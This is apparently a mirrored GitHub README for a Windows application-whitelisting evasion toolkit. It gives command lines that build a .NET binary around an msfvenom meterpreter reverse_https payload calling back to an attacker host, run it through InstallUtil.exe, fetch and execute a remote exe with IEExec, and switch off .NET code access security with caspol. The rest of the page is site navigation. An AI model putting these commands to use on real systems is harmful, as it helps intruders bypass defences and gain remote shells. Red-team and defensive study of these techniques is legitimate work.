Coder Social home page Coder Social logo

retbandit-zz / whitelistevasion Goto Github PK

View Code? Open in Web Editor NEW

This project forked from khr0x40sh/whitelistevasion

0.0 1.0 0.0 204 KB

Collection of scripts, binaries and the like to aid in WhiteList Evasion on a Microsoft Windows Network.

C# 62.91% Python 37.09%

whitelistevasion's Introduction

WhiteListEvasion

  1. InstallUtil.py

    Usage: python InstallUtil.py [--cs_file cs_filename] [--exe_name exe_filename] [--payload payload] [--lhost lhost] [--lport lport]

    python InstallUtil.py --cs_file temp.cs --exe_name temp.exe --payload windows/meterpreter/reverse_https --lhost 192.168.1.11 --lport 443

    Script that generates a .NET binary that attempts to leverage the InstallUtil.exe whitelist evasion technique. this is accomplished by importing a msfvenom generated payload into the c_sharp template found here: http://www.room362.com/blog/2014/01/16/application-whitelist-bypass-using-ieexec-dot-exe/ . This template is then incorporated into the InstallUtil PoC found here: https://github.com/subTee/ShmooCon-2015/blob/master/CaseySmith-SimpleWindowsApplicationWhitelistingEvasion . One thing of note: The payload architecture must match the Framework subdir in the .NET path or the binary will crash.

Script.cs and script.exe are example output from InstallUtil.py. To execute the execute, simply get the binary on disk and then run (something much like): C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U script.exe

Requires mono, mono-develop, Python 2.7+, msfvenom (from metasploit). Tested and verified the script on a Kali linux VM. Both 32-bit and 64-bit binaries tested and verified on Windows 7 with .NET 4.5.

  1. Test64 (IEExec 64-bit test application)

    Host this binary on a webserver. To observe the binary without .NET Security, open up an administrative console, cd to C:\Windows\Microsoft.NET\Framework\v2.05727\ and then run 'caspol -s off'. In an another window (can be non administrative), cd to the same .NET directory and execute IEExec . An example would look like this: C:\Windows\Microsoft.NET\Framework\v2.05727> IEExec http://testserver.org/files/test64.exe

    To observe with .NET Security enabled, just simply run the above without ever disabling caspol. You should be able to pull down strings from a file hosted by a webserver, but unable to execute,read, or write anything on the host system.

    To build the binary, ensure you have the x64 profile set in Visual Studio 2013.

[email protected]

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.